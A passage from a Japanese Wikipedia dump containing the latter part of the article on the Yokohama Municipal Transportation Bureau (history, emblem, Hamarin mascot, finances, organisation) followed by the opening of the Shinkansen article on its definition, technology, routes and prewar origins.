** 3月30日 - [[横浜市営地下鉄グリーンライン|横浜市営地下鉄4号線]](グリーンライン)[[日吉駅 (神奈川県)|日吉駅]] - [[中山駅 (神奈川県)|中山駅]]間が開業<ref name="nr210304" />。
* [[2016年]](平成28年)9月30日 - 定期観光バス「[[横濱ベイサイドライン]]」を運行終了。
* [[2018年]](平成30年)11月10日 - 横浜市営バス開業90周年を迎える<ref>[https://www.city.yokohama.lg.jp/kotsu/bus/bus90thanniversary.html 横浜市営バス90周年] 横浜市交通局、2021年2月18日閲覧。</ref>。
* [[2020年]]([[令和]]2年)6月1日 - 交通局を[[横浜市役所]]新庁舎に移転。
* [[2021年]](令和3年)4月1日 - 横浜市交通局創立100周年を迎える<ref name="nr210304" /><ref>{{Cite web|和書|title=市営交通100周年事業 |url=https://www.city.yokohama.lg.jp/kotsu/kigyo/100th/ |website=横浜市 |publisher= 横浜市交通局 |date= |accessdate=2022-03-19}}</ref>。
== 徽章・マスコット ==
=== 徽章 ===
{{Double image aside|right|Yokohama City Transportation Emblem.svg|100|Yokohama_Municipal_Subway_Logo.svg|100|横浜市交通局の徽章と、横浜市営地下鉄の徽章}}
横浜市交通局の[[徽章]]([[ロゴマーク]])は、横浜市電気局として発足した当時に定められたもので<ref>「交通局徽章設定ノ件」大正10年2月25日、横浜市</ref>、横浜市の市章である「ハマ菱」の周囲を、電光をイメージした4つの[[雷紋]]でとり囲むデザインになっている。市営バスでは[[エンブレム]]としても使用されているが、市営地下鉄では独自の徽章をエンブレムとして使用している。
=== はまりん ===
{{Main|はまりん}}
'''はまりん'''は、[[1998年]](平成10年)10月10日に制定された横浜市交通局の[[マスコット|マスコットキャラクター]]である。名前は一般公募より採用され、横浜・浜っ子の「はま」、車輪の「りん」、海の「まりん」が由来とされている。生誕地は[[神奈川県]][[横浜市]]、誕生日は[[1998年]]10月10日という設定である。
交通局の広報や決算書などのほか、装飾、イベントにて頻繁に使用されており、横浜市交通局協力会が運営する[[コンビニエンスストア]]の店舗、横浜市電保存館(オンラインショッピング含む)にてキャラクターグッズが販売されている。また、特別装飾の「はまりん号」車両も運用され、利用者の認知度は[[マスコットキャラクター一覧#運輸業|交通事業者のマスコットキャラクター]]としては比較的高いものとなっている。
市営交通お客様感謝祭として毎年、市営交通の取り組みや仕事が学べるイベント「はまりんフェスタ<ref>[http://www.city.yokohama.lg.jp/koutuu/event/hamarin2013/ はまりんフェスタ in 新羽 2013] 横浜市交通局</ref>」が開催される。新羽・上永谷・川和町にある市営地下鉄車両基地のいずれか1箇所(持ち回り)で行われる。
<gallery>
Yokohamacitybus 4-1590-hamarin.jpg|市営バスのはまりん[[ラッピング車両]]<br />(2007年8月11日、新横浜駅前にて撮影)
LCD information board of Yokohama Municipal Subway 10000.jpg|市営地下鉄の[[LCD]]車内案内板に表示されたはまりん<br />(2008年1月19日、川和車輛基地にて撮影)
</gallery>
== 財政健全化 ==
財政面では、前身の横浜電気鉄道は[[日露戦争]]後の[[大戦景気 (日本)|大正バブル]]の崩壊による赤字に悩まされており、これが横浜市による買収のきっかけとなった。横浜市電気局になってからは、横浜電気鉄道の買収のために起債された公債の負担に加え、買収の2年後に発生した[[関東大震災]]からの復旧工事のために起債したドル建て公債が、[[世界恐慌]]による為替相場の下落もあいまって膨れあがった。この償還のために、新たな公債を発行する自転車操業に陥いっていた。[[太平洋戦争]]中はドル建て公債の償還については国が肩代わりし、[[戦争特需]]による乗客の増加もあいまって黒字になったものの、戦後はインフレによる物価の暴騰とGHQの物価抑制策による運賃の値上げ抑制により、再び赤字に転落。市電を廃止した[[1972年]](昭和47年)時点での累積赤字は、91億5125万円であった。このような財務状況の中で、経費が安い横浜市営バスの拡充・[[横浜市営トロリーバス]]の新設に転換したものの、[[1966年]]には[[地方公営企業法]]に基づく[[財政再建団体]]に指定されることになった。
[[1966年]](昭和41年)10月、第一次財政再建計画として「再建整備5か年計画」が策定された。運賃の値上げ、市電・市営バスのワンマン化と、市営バス・高速鉄道(現 [[横浜市営地下鉄]])への切り替えを前提とした市電の縮小、市営バス・トロリーバスの増車を行うというものだった。しかし[[高度経済成長]]による職員給与のベースアップや、政府の公共料金抑制政策による運賃の値上げの抑制、そしてバス路線の展開が旧市域に限られたことでバスの増強に見合った運賃収入が得られなかったことなどが原因で経営は悪化。これに伴い輸送力が低い市電とトロリーバスの廃止が早められ、大量輸送機関の[[横浜市営地下鉄]]を建設することとなった。なお市電の廃止は[[モータリゼーション]]の進展による道路交通を優先した国の指導によるもので、同時期には他の都市でも[[路面電車]]の廃止が行われた。
[[1973年]](昭和48年)8月に「地方公営交通事業の経営の健全化の促進に関する法律」が施行され、翌[[1974年]](昭和49年)3月には「第二次財政再建計画」として市営バス事業を対象とした15か年計画が策定された。[[オイルショック]]による影響があったものの、バスのワンマン化・路線の再編成などの合理化のほか、7つのバス営業所の[[地上権|上空権]]を横浜市建築局に売却して敷地内に[[公営住宅|市営住宅]]を建設し、[[地上権]]補償金を得るなどの手法が功を奏し、1986年(昭和61年)にすべての不良債務が解消し、再建に成功した<ref name="Shiei80th">『横浜市営交通八十年史』p.70 - 282、横浜市交通局、2001年3月</ref>。上空権を売却したのは、[[横浜市営バス浅間町営業所|浅間町]]・[[横浜市営バス滝頭営業所|滝頭]]・[[横浜市営バス鶴見営業所|鶴見]]・[[横浜市営バス保土ケ谷営業所|保土ケ谷]]・[[横浜市営バス磯子営業所|磯子]]・[[横浜市営バス港南営業所|港南]]・[[横浜市営バス緑営業所|緑]]の7営業所で、浅間町営業所には市営住宅ではなく「横浜市西スポーツセンター」が建設された。
{{いつ範囲|[[平成]]に入ってからは|date=2021-02-18}}地下鉄事業の低迷により再び赤字が拡大し、[[1989年]](平成元年)12月に横浜市交通事業経営問題委員会の答申「横浜市交通事業の経営の健全化及び事業運営のあり方について」が出された<ref>『横浜市営交通八十年史』p.626 - 629、横浜市交通局、2001年3月</ref>。[[外郭団体]]として設立した財団法人横浜市交通局協力会(現:[[一般社団法人]])、[[横浜交通開発|横浜交通開発株式会社]]による収益事業の強化や、駅の業務委託・[[ワンマン運転]]化も行われた。その結果、[[2010年]]度決算では地下鉄・バス事業揃って営業損益・経常損益・純損益すべてにおいて黒字を達成した<ref>[http://www.city.yokohama.lg.jp/koutuu/kigyo/zaimu/yosan/pdf/h22kessan.pdf 平成22年度決算(速報)] 横浜市交通局 予算・決算報告</ref>。
<!--公営交通事業としては比較的黒字基調の運営を続けている。<ref>{{要出典範囲|なお、2016年時点で地方交通で黒字化を達成していたのは、当時公営であった[[大阪市交通局]]程度しかなかった。|date=2021-02-18}}</ref>。-->
ただ[[黒字と赤字|累積赤字]]は減少傾向にあるものの、[[2018年]]度(平成30年度)時点で地下鉄・バス事業を合わせた赤字が1,508億円に及んでおり<ref>[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/koutuu/2019/20190704kisyahappyou.files/20190704kisyahappyou.pdf 平成30年度 市営交通事業の決算(速報)について] 横浜市交通局経営管理課、2019年7月4日</ref>、依然として経営健全化に向けた努力が続けられている。
== 組織構成 ==
いずれも[[2020年]](令和2年)4月1日現在<ref>[https://www.city.yokohama.lg.jp/kotsu/kigyo/gaiyou/kotsu_soshiki.html 交通局組織表(令和2年4月1日現在)] 横浜市交通局、2020年6月16日</ref>。
=== 本部 ===
* [[局長]] 交通事業管理者: 三村庄一
* 総務部
** 総務課
** 経営企画課
** 監察課
** 職員課
** 能力開発センター
* 営業推進本部
** 事業開発課
** 観光企画課
** 営業企画課
==== 福利厚生 ====
* 横浜市交通局厚生会
=== 市営地下鉄 ===
{{main|横浜市営地下鉄}}
* 高速鉄道本部
** 営業課
** 運転課
** [[新羽車両基地|総合司令所]]
** 駅務管理所
** [[上永谷車両基地|上永谷乗務管理所]]
** [[新羽車両基地|新羽乗務管理所]]
** [[川和車両基地|川和乗務管理所]]
=== 市営バス ===
{{Main|横浜市営バス}}
* 自動車本部
** 営業課
** 路線計画課
** 運輸課
** [[横浜市営バス保土ケ谷営業所|保土ケ谷営業所]]
** [[横浜市営バス若葉台営業所|若葉台営業所]]
** [[横浜市営バス浅間町営業所|浅間町営業所]]
** [[横浜市営バス滝頭営業所|滝頭営業所]]
** [[横浜市営バス本牧営業所|本牧営業所]]
** [[横浜市営バス港南営業所|港南営業所]]
** [[横浜市営バス港北営業所|港北営業所]]
** [[横浜市営バス鶴見営業所|鶴見営業所]]
=== 技術・建築 ===
* 技術管理部
** 施設課
** 車両課
** 建築課
** 電気課
** [[上永谷車両基地|上永谷保守管理所]]
** [[新羽車両基地|新羽保守管理所]]
** [[川和車両基地|川和保守管理所]]
* 建設改良室
** 建設改良課
== 脚注 ==
{{脚注ヘルプ}}
<!--
=== 注釈 ===
{{Reflist|group="注釈"}}
=== 出典 ===
-->
{{Reflist|2}}
== 関連項目 ==
{{Multimedia|横浜市交通局の画像}}
* [[横浜市営バス]]
** [[横浜交通開発]]
* [[横浜市営地下鉄]]
** [[横浜市営地下鉄ブルーライン]]
** [[横浜市営地下鉄グリーンライン]]
* [[横浜市電]]
** [[横浜市電保存館]]
* [[横浜市営トロリーバス]]
* [[はまりん]]
* [[公営交通]] / [[公営バス]] / [[地方公営企業]]
* [[日本の交通]]
== 外部リンク ==
{{Commonscat|Transportation Bureau, City of Yokohama}}
* [https://www.city.yokohama.lg.jp/kotsu/ 横浜市交通局]
** [https://kotsu100th.city.yokohama.lg.jp/ 横浜市交通局100周年]
** [https://www.city.yokohama.lg.jp/kotsu/bus/bus90thanniversary.html 横浜市営バス90周年]
* {{Twitter|yokohama_koutuu}}
* {{Facebook|city.yokohama.koutuu|横浜市営バス・地下鉄(横浜市交通局)}}
* [https://www.shiden.yokohama/ 横浜市電保存館]
** {{Twitter|shidenhozonkan1}}
** {{Instagram|shidenhozonkan}}
** [https://www.facebook.com/横浜市電保存館-196895190642555 横浜市電保存館] - [[Facebook]]
** {{YouTube|UC5XtqwnUnCCWTJhQuFlVoiA|横浜市電保存館 公式チャンネル}}
* [http://www.kyouryokukai.or.jp/ 一般財団法人 横浜市交通局協力会]
* [http://www.yokohama-td.co.jp/ 横浜交通開発株式会社]
{{PASMO}}
{{バス共通カード}}
{{パスネット}}
{{Normdaten}}
{{DEFAULTSORT:よこはましこうつうきよく}}
[[Category:横浜市交通局|*]]
[[Category:神奈川県の地方公営企業]]
[[Category:日本の鉄道事業者]]
[[Category:かつて存在した日本の軌道事業者]]
[[Category:関東地方の乗合バス事業者]]
[[Category:横浜市の交通]]
[[Category:横浜市中区の企業]]
[[Category:1921年設立の企業]] | 2003-04-16T20:03:44Z | 2023-11-26T01:20:01Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E6%A8%AA%E6%B5%9C%E5%B8%82%E4%BA%A4%E9%80%9A%E5%B1%80 |
6,833 | 新幹線 | 新幹線(しんかんせん、英: Shinkansen)は、主たる区間を列車が時速200キロメートル (km/h) 以上の高速度で走行できる日本の幹線鉄道。
「高速鉄道」のコンセプトを世界に広めた存在であり、速度・輸送力(座席数)・安全性において世界の高速鉄道の先駆けとなる存在である。
日本国有鉄道(国鉄)が1964年(昭和39年)10月1日に東海道本線の線路容量ひっ迫対策として、東京駅 - 新大阪駅間の線増区間として開業した東海道新幹線を端緒とする。その後国鉄時代には山陽本線の線増区間として建設された山陽新幹線の開業を経て、全国新幹線鉄道整備法に基づく基本計画を根拠として東北・上越の各新幹線が開業した。国鉄分割民営化により国鉄の事業がJRに移行した後は、北陸・九州(鹿児島ルート)・北海道・西九州(九州〈西九州ルート〉の一部)の4路線が開業し、加えて従来のJR線(在来線)と新幹線とで直通運転を行うミニ新幹線(法令上は標準軌の在来線。詳細後述)として山形・秋田の2路線が開業しており、新幹線網の拡大は半世紀にわたって続けられている。2023年(令和5年)現在も北海道・北陸・中央の各新幹線が建設中である。
2023年(令和5年)の時点で、フル規格8路線(合計2,830 km)とミニ新幹線2路線(合計276 km)が営業中で、2015年度(平成27年度)の年間利用者数は3億6000万人に上る。
高速度での都市間輸送を前提としており、在来線と異なる規格(軌間・線形・架線電圧など)を採用するなど、様々な技術的特徴がある(#主要技術参照)。走行する車両も空力や低騒音に配慮した、流線形の外形を採用し高出力のモーターを搭載した専用の電車(新幹線車両)が用いられている。こうした技術投入の結果、定時性が極めて高く、年間13万本以上の列車が運転される東海道新幹線でも平均遅延時間は24秒に留まる(2016年度)。また50年以上に渡る新幹線の歴史の中で、車両や線路の施設や設備の異常、運行側の不手際等に起因する乗客等の死亡事故は一度も発生していない(#安全性参照)。
新幹線建設の計画(建設を開始すべき新幹線鉄道の路線を定める基本計画)は全国新幹線鉄道整備法第4条の規定に基づき国土交通大臣が決定するものと定められている。
全国新幹線鉄道整備法施行以前の新幹線路線の建設工事については、東海道新幹線・山陽新幹線は事業主体である日本国有鉄道(国鉄)が建設主体でもあった。全国新幹線鉄道整備法施行後は同法第6条の規定に基づき国土交通大臣が営業主体及び建設主体を指名することになっており、東北新幹線は国鉄が建設主体であったが、上越新幹線は日本鉄道建設公団が建設主体となった。国鉄分割民営化後の東北・上越新幹線東京延伸の際は、当時新幹線の地上設備を一括して所有していた新幹線鉄道保有機構が建設主体であった。さらにその後に建設された北陸新幹線や九州新幹線などのいわゆる整備新幹線については、日本鉄道建設公団および新幹線鉄道保有機構の権利を継承した鉄道建設・運輸施設整備支援機構が建設主体となっている。なお、超電導リニア方式を採用する中央新幹線については東海旅客鉄道(JR東海)が建設主体に指名された。
運営は1964年(昭和39年)の開業から1987年(昭和62年)の国鉄分割民営化までは国鉄が行っており、国鉄の事業がJR各社に譲渡されて以降は、東北・上越新幹線を東日本旅客鉄道(JR東日本)、東海道新幹線を東海旅客鉄道(JR東海)、山陽新幹線を西日本旅客鉄道(JR西日本)が運営を行っている。JR移行後に開業した整備新幹線では、北陸新幹線をJR東日本とJR西日本が、九州・西九州新幹線をJR九州が、北海道新幹線をJR北海道が運営を行っている。なお、JR四国はこれまで新幹線の運営に携わったことがない。
冒頭で述べたとおり、全国新幹線鉄道整備法では、新幹線鉄道を「その主たる区間を列車が200キロメートル毎時(以降km/hと記す)以上の高速度で走行できる幹線鉄道」(第2条)と定義している。「その主たる区間」であるから、局所的に200 km/h未満の速度でしか走行できない区間が存在しても新幹線鉄道である。新幹線を法律で定義しているのは、在来線とは異なる運転規則や構造規則(いずれも省令)が必要なためである。
列車の運行を妨げる行為に対しては、一般の鉄道でも鉄道営業法や刑法などに規定があるが、それに加えて、新幹線鉄道における列車運行の安全を妨げる行為の処罰に関する特例法(新幹線特例法)などによって、より厳しい法的措置が定められている。
なお、一般にミニ新幹線として称され、時刻表にも新幹線(の一部)として記載されている山形新幹線・秋田新幹線は、在来線を改軌して対応する一部の新幹線列車が走行できるようにしたものであり、目視による安全確認を要する信号機とATSの組み合わせによる列車防護、踏切道の存在など、新幹線鉄道構造規則に準じた構造(後述の「路線・軌道設備」を参照)とはなっておらず、全国新幹線鉄道整備法上の新幹線鉄道には含まず、在来線の扱いとなっている(後述の「在来線への直通」並びに両路線の記事を参照)。
これまでに建設された新幹線は、ミニ新幹線を除き1964年(昭和39年)に開業した東海道新幹線から全て設計最高速度260 km/hで建設されているが、開業時から260 km/h運転を実施するようになったのは1997年(平成9年)10月1日開業の北陸新幹線(当時の通称は長野新幹線)からである。
「新幹線」という呼称は、かつての鉄道省が東京と下関を結ぶ高速鉄道計画に対して、遅くとも1939年(昭和14年)の時点で用いていた用語である(ただし、この計画については当時の世相を踏まえて「弾丸列車」と呼ばれることの方が多かった)。さらに以前の大正期には「新しい幹線交通」を指す用語として「新幹線」の用語が用いられていたという。
法律上、最初に「新幹線鉄道」の語が現れるのは、昭和39年6月22日法律第111号「東海道新幹線鉄道における列車運行の安全を妨げる行為の処罰に関する特例法」(現「新幹線鉄道における列車運行の安全を妨げる行為の処罰に関する特例法」)である。東海道新幹線は在来線である東海道本線の線増として建設されたために「東海道新幹線鉄道」とされた。
『新幹線』という名称は、東海旅客鉄道・東日本旅客鉄道・西日本旅客鉄道の3社名義にて、複数の分野で商標登録されている。例えば「鉄道による輸送」では第3066558号である。
日本国内の駅内の案内板等の英語表記では、路線を指す場合は「しんかんせん」のローマ字表記である Shinkansen を使用し、列車名(便名)を表す場合は、各駅に停車する列車も含め、かつて「ひかり」の種別として用いられていた「超特急」の直訳である Superexpress を愛称名の後ろに付けて「NOZOMI Superexpress」などと表現している。これは特急(特別急行列車、Limited express)と急行列車(Express)を異なる種別として認識し、さらに新幹線を(通常の)特急とも区別しようとする日本独特の表現とも考えられる。
日本国外において新幹線について言及する際は「Shinkansen」と表記される一方で、戦前からの計画名称である「弾丸列車」の直訳である「Bullet train」の表現を用いることがある。例えば、1975年(昭和50年)に日本で公開され、翌年アメリカで公開された映画『新幹線大爆破』の英題の1つも "The Bullet Train" であり、2022年公開の新幹線を舞台にしたブラッド・ピット主演の映画タイトルも「ブレット・トレイン」(Bullet Train) である)。
新幹線鉄道は、その大部分の区間において200 km/hを超える速度で運行するため、在来線鉄道とは異なったさまざまな技術が用いられている。速度のみならず、乗り心地や安全面でも世界的に見ても非常に高い水準が確保されている。
新幹線では、動力を編成各車両に分散させる「動力分散方式」が採用されている。動力分散方式を採用することにより、電車方式と同様の、加減速性能の向上・軽量化・軌道への負荷軽減といった利点が追求されている。 また高速走行を行うため、列車編成内における電動車(動力車)の比率(MT比)が極力大きくされている。ブレーキは主電動機の発電抵抗を利用する電気ブレーキと、空気圧動作の摩擦による基礎ブレーキを併用するが、高速域からの減速には主に電気ブレーキが使用される。こうすることによって制輪子の磨耗を抑え、交換周期を延ばすことができる。
また、車両には気密構造が採用されている。高速運転時にトンネルに進入するなどの気圧変動による居住性の低下を防ぐためである。また、0系や100系など国鉄時代の東海道・山陽新幹線車両では車体の素材に普通鋼が使われていたためやや重かったが、東北・上越新幹線用の200系からは耐雪装備による重量増加を抑えるためアルミニウムが用いられて軽量化が図られた。国鉄民営化後に開発された新幹線車両はアルミニウム車体が一般化、さらにアルミ材の加工手法の発達により、製作費のコストダウンとさらなる軽量化の両立が図られた。この結果、国鉄時代に開発された初期新幹線車両より著しく軽量化されている。
一方で、JR発足以降積極的に行われた高速化に伴い、走行中のパンタグラフと架線の接触や風切り音による騒音の発生や、接触部の著しい消耗などが問題とされた。このため、0系では2両おきに付いていたパンタグラフが300系では8両毎に1つに減ったほか、500系では翼型と呼ばれるT字型の特殊な集電装置が設置されるなど改良され、騒音を抑えながら集電効率を向上させた。また、パンタグラフに流線型の突起物を取り付けるなどの改良も加えられた。その他、高速でのトンネルの突入時のトンネル内部の急激な気圧変化による騒音(トンネル微気圧波)の発生を抑えるための、走行時の空気の流動性やトンネル進入時の面積変化率を考えた先端車両の開発などが行われているため、初期の0系に比べ先頭車先端部が長く伸ばされるとともに、通常の電車とは著しく異なった形態(鋭い流線型やカモノハシのような形)を呈する傾向にある。
高速走行を行うため、在来線と同じ信号炎管や軌道短絡器による列車防護(他の列車を停止させること)では他の列車が停止しきれない可能性が高まる。そのため、緊急時に他の列車を迅速に停止させられるように在来線とは異なる列車防護の方式が採られている。
前述のとおり、新幹線は軌間や電圧、運行管理システムなど在来線と異なる技術基準が多く採用されており、基本的には他国の高速鉄道で行われているような在来線との直通運転はできない。しかし、新幹線列車を在来線に直通運転させる、あるいは在来線列車を新幹線規格の路線に走行させて利便性を確保しようとする研究が行われている。
なお、北海道新幹線のうち青函トンネルとその前後区間は、フル規格の新幹線路線に狭軌を併設した三線軌条とした上で、新幹線規格の電圧・信号システムに対応した在来線車両(EH800形機関車など)が走行できる「在来線(海峡線)との共用区間」として取り扱っている。
まず1964年に東海道新幹線が開業し、これを延長する形で山陽新幹線の工事も始まり、1975年に博多駅まで全線開業した。
そして1970年には全国新幹線鉄道整備法が定められた。これによりまず東北・上越・成田の各新幹線の整備計画が決定し、続いて北海道新幹線、東北新幹線( 盛岡市- 青森市間)、北陸新幹線、九州新幹線鹿児島ルート、同長崎ルート(西九州ルート)の5線の整備計画も決定された(整備新幹線)。
整備新幹線以前に計画された路線は、計画が失効した成田新幹線を除き開業しており、整備新幹線の一部も開業している。しかしその一方で、基本計画が定められたまま着工の目処が全く立っていない路線も存在する。
東海道新幹線と山陽新幹線を併せて「東海道・山陽新幹線」、東北新幹線と上越新幹線を併せて「東北・上越新幹線」と呼ぶことがある。東海道・山陽新幹線は国鉄時代は一体的な運用がなされており、民営化後も多くの列車の相互直通運転が行われているため一括して扱われることが多い。1982年に東北・上越新幹線が開業するまでは単に「新幹線」と呼ばれることもあった。東北・上越新幹線は1982年に相前後して開業した東側のフル規格新幹線で、東海道・山陽新幹線のような一体的な運用はないが、一部の区間を共用するほか、車両やATCなどの運行システムが共通である。
このほか、東海道・山陽新幹線にならって相互直通運転がなされている新幹線同士を総称し、「東海道・山陽・九州新幹線」、「山陽・九州新幹線」、「東北・北海道新幹線」、「北海道・東北新幹線」と呼ぶことがある。
以下の8路線が開業している。北陸新幹線・北海道新幹線・西九州新幹線は一部分のみの開業である。
JR東日本とJR北海道は東北新幹線と北海道新幹線で、JR東日本とJR西日本は北陸新幹線で、JR東海とJR西日本は東海道新幹線と山陽新幹線で、JR西日本とJR九州は山陽新幹線と九州新幹線で、それぞれ相互直通運転を行っている。以前、山形新幹線用・秋田新幹線用の車両の一部は保有会社からの貸出であったが、現在はすべてJR東日本の所有する車両で運行されている。
東京駅では東海道新幹線と東北新幹線の線路が接続されていないため、博多や新大阪から新函館北斗まで(その逆も)直通列車で行くことはできず、東京駅での乗り換えが必要となる。国鉄時代の利用状況の調査で東京都内を通過する需要が非常に小さいということは判明していたが、当時博多・札幌開業の際には夜行列車の運転も計画されていた。そのため、全列車が東京駅での折り返すのであれば、ホームの容量は大幅に不足するとみられていた。そこで、両線を直通運転として東海道の列車は田端基地、東北・上越の列車は品川基地での折り返しとすることとして建設計画が立てられた。あわせて、田端以北に異周波デッドセクションを設けることが計画され、直通運転の試験車両として961形も製造された。実際に、東京駅の東海道新幹線14・15番線ホームは直通を想定して作られたため、ホームが東北新幹線側にカーブしている。それでも、東京駅のホーム容量が不足する状態となったときは、上越新幹線を大宮駅から新宿駅へ分岐させる構想としていた。しかし、ダイヤの乱れが相互に波及し運転管理面に多くの問題が予想されること、周波数が、東海道・山陽新幹線:60 Hz・東北・上越新幹線:50 Hzと異なることや、東北・上越新幹線用のものには降雪対策が施された車体設計にしなければならない点などから、1996年に計画の中止が発表された。計画については、「東北新幹線#東海道・山陽新幹線との直通運転」も参照。
以下の2路線が開業している。過去には東北新幹線の盛岡以北および北陸新幹線の軽井沢以西もミニ新幹線として建設することが検討されたが、前者は地元の積極的な運動、後者は長野オリンピックとの兼ね合いがあり最終的にはフル規格で建設された。
新幹線の回送線で旅客扱いを行う区間。距離が短く高速運転を行わないなどといった理由で在来線扱いとされているが、車両や設備は新幹線のものであるため、これらの路線を走る列車は一般の「特急列車」扱いとされ、乗車の際には乗車券のほかに特急券を要する。
新幹線では通常、東京駅 - 上野駅間や東京駅 - 品川駅間などの短距離区間であっても、自由席特定特急料金として870円が必要となる。しかし上記の区間は在来線特急扱いであるため、特定特急料金がJRの特急料金では最低の100円となる。
北陸新幹線と九州新幹線鹿児島ルート・西九州ルートのそれぞれ一部区間は、当初この方式で着工されたが、後に標準軌新線(フル規格)に変更されたため、この方式で開業した新幹線路線は存在しない。
以下の路線は通常の在来線として開業したが、将来の新幹線路線の敷設を考慮し、車両限界等が新幹線規格で建設されている。なお、海峡線の新中小国信号場 - 木古内駅間 (85.5 km) は2016年(平成28年)3月26日から北海道新幹線と共用されている。
1970年(昭和45年)5月18日に公布された全国新幹線鉄道整備法に基づき基本計画線が挙げられたが、オイルショックや国鉄の経営悪化などの影響を受けて、以下の新幹線の着工は見送られた。このうち整備新幹線は平成に入って着工したが、基本計画のまま着工の目処が全く立っていない路線も存在する。この区間については建設を望む声が根強く残っている区間や、フリーゲージトレインによる新幹線との直通運転が提案されている区間も存在する。
1973年(昭和48年)11月13日に整備計画が決定したいわゆる「整備新幹線」と、2011年(平成23年)5月26日に整備計画が決定した中央新幹線がある。
新幹線の列車名(列車愛称)は、東海道・山陽・九州新幹線では速度別につけられている。JR東日本の山形・秋田新幹線およびJR九州の西九州新幹線は列車名が単一である。JR東日本の北陸新幹線とJR九州の九州新幹線も部分開業時は列車名が単一であった。JR東日本の新幹線では、E1系・E4系「Max」を使用する場合は列車名の前に「Max」が付いていた。
日本の鉄道は明治時代の草創期にコストの面から狭軌を採用したため、その規格の低さに加えて地形的な事情から勾配や曲線が多いなどの制約を受け、欧米の鉄道のような高速運転とは無縁であった。最高速度は1910年代から1950年代まで100 km/h以下に留まっていた。
そこで標準軌に改軌する提案も、明治から大正にかけて何度か出されていたが、政争や予算問題などから結局実現しなかった(日本の改軌論争も参照)。
また1910年代には、東京 - 大阪間に電車による高速新路線「日本電気鉄道」を敷設する計画が民間から出されたが、国の許可するところとならず、実現には至っていない。
日本における現実的な高速列車開発は、日本の勢力下にあった満洲(現在の中国東北部)を縦断する南満洲鉄道(満鉄)に始まる。同社は日本の資本と技術により運営されており、ほとんどの幹部・技術者が日本人で、実質的に日本の鉄道と言っても過言ではない。
当時の満鉄は電化以前の鉄道で蒸気機関車牽引であったが、1,435 mmの国際標準軌(日本では広軌と称した)を用いた高規格路線であり、保守的な日本内地の鉄道省とは一線を画した先進的な試みを早くから行っていた。
1934年(昭和9年/康徳元年)、満鉄は自社設計によって当時の欧米の潮流に互した流線形蒸気機関車「パシナ形」を開発、これに新開発の流線形客車編成を組み合わせ、大連 - 新京(現・長春)間701 kmに特急「あじあ」号を運転開始した。この列車は最高速度120 km/h以上を誇り、最高95 km/hに留まる鉄道省の列車をはるかに凌駕した。所要8時間30分、表定速度は82 km/hに達した。
とはいえ、当時の欧米の鉄道はさらに上を行っていた。例えばイギリスのロンドン・アンド・ノース・イースタン鉄道(LNER)がロンドン - エディンバラ間に運転していた特急列車「フライング・スコッツマン」は、蒸気機関車牽引で最高速度160 km/h以上での営業運転を行っており、ドイツ国鉄では気動車列車「フリーゲンダー・ハンブルガー」が150 km/h 以上の高速で営業運転していた。さらにアメリカの私鉄各社には、定期運転列車を牽引して、最高速度は優に180 km/hに達する蒸気機関車さえ存在していたのである。
「あじあ」号は全客車冷暖房完備など世界の最先端を行っていた部分もあったが、120 km/h運転そのものは、当時の欧米の主要幹線での標準的な水準に達したものでしかなかった。
この技術が、日本本土の鉄道に直接生かされることはなかった。しかし満鉄関係者には鉄道技術者の島安次郎がおり、その長男の島秀雄と共に後述する「弾丸列車計画」を推し進めることになる。
なお、前述した日本電気鉄道のように、民間による大規模な都市間電車は実現しなかったが、中近距離の都市間電車に関しては、新京阪鉄道や阪神急行電鉄、参宮急行電鉄、阪和電気鉄道のように、アメリカのインターアーバンの技術を取り入れるなどして実現させた所もあった。これら路線の多くは、既存の鉄道線と競合する形で敷設されたものとなっており、「(既存の並行線よりも)高規格な路線において、高速運転を行うこと」がその建設目的となっていた。「新しい高規格線を敷く」という意味では、新幹線に通じる所もある。
その中でも、参宮急行電鉄が転じた関西急行鉄道は途中に伊勢中川駅での乗り換えこそあるものの、大阪と名古屋という中距離の2大都市間(当時の営業キロで189.5 km)を電車で結ぶことに成功しており、また阪和電気鉄道は「あじあ」号の水準に匹敵する、表定速度81.6 km/hの「超特急」を狭軌路線で運転していた。
これらの私鉄で用いられた電車はハイレベルな仕様の車両が多く(新京阪P-6形、参急2200系、阪和モヨ100形など)、後述する国鉄における動力分散方式の開発にも、いくらか影響を与えている。
1930年代に入ると、満洲事変や日中戦争の激化などにより、日本から中国や満洲国へ向かう各種物資輸送需要の激増で、東海道・山陽本線の輸送量も増大した。
このころ鉄道省内部に「鉄道幹線調査会」が設立され、主要幹線の輸送力強化についての検討が行われた。ここから抜本的な輸送力増強手段として1939年に発案されたのが「弾丸列車計画」であった。
これは、東京から下関まで在来の東海道・山陽本線とは別に広軌(1,435 mm・標準軌)の新路線を建設し、最高速度200 km/hと満鉄「あじあ」号を超える高速運転を行い、東京 - 大阪間を4時間、東京 - 下関間を9時間で結ぶことを計画したものであった。この計画は翌1940年(昭和15年)9月に承認され、建設工事が始められることになった。
すでにこの時点で、新しい幹線を敷設するということから「新幹線」や「広軌新線」という呼称を内部関係者は用いていた。「新幹線」の語はここが起源であるとされている。
また将来的には対馬海峡に海底トンネルを建設して、統治下である朝鮮半島へ直通、釜山から奉天(現:瀋陽)を通り満洲国の首都新京(現:長春)、さらには北京・昭南(現:シンガポール)に至る、という構想も一部では描かれていた。
当時の鉄道では、日本においてもまだ機関車が客車を牽引する方式が一般的であったうえ、完全電化したものの、発電所が敵国からの攻撃を受けた場合の対処について軍からクレームを受けたために、「弾丸列車」も電気機関車と蒸気機関車を併用する方式で計画された。
1941年12月の太平洋戦争勃発後も工事は続けられ、日本坂トンネルや新丹那トンネルが、1942年には東山トンネルの工事が着工したが、最終的には戦況の悪化で中断した(その後再開され新幹線に利用)。しかし、そのルートの相当部分が後の東海道新幹線建設で役立てられた。特に、土地買収が戦時中の時点で半ば強制的な形で相当な区間において終わっていたことは、新幹線建設をスムーズにした。
この弾丸列車計画の技師たちが居住した地として、静岡県田方郡函南町には「新幹線」という地名が、東海道新幹線の開業前から存在した。
太平洋戦争終結後数年間、鉄道をも含めて混乱の極みにあった日本も、1950年(昭和25年)の朝鮮戦争以降本格的に復興し、鉄道の都市間輸送需要も急激に伸張していった。
旧日本軍の研究部門や軍需企業、旧南満洲鉄道に所属し、戦後その職を失ったり技術を持て余していた優秀な人材を、昭和20年代の国鉄が多数獲得したことは見逃せない事実である。高速走行中の車両の振動や、空力特性の研究は、旧軍出身技術者の存在によって大きく進展した。
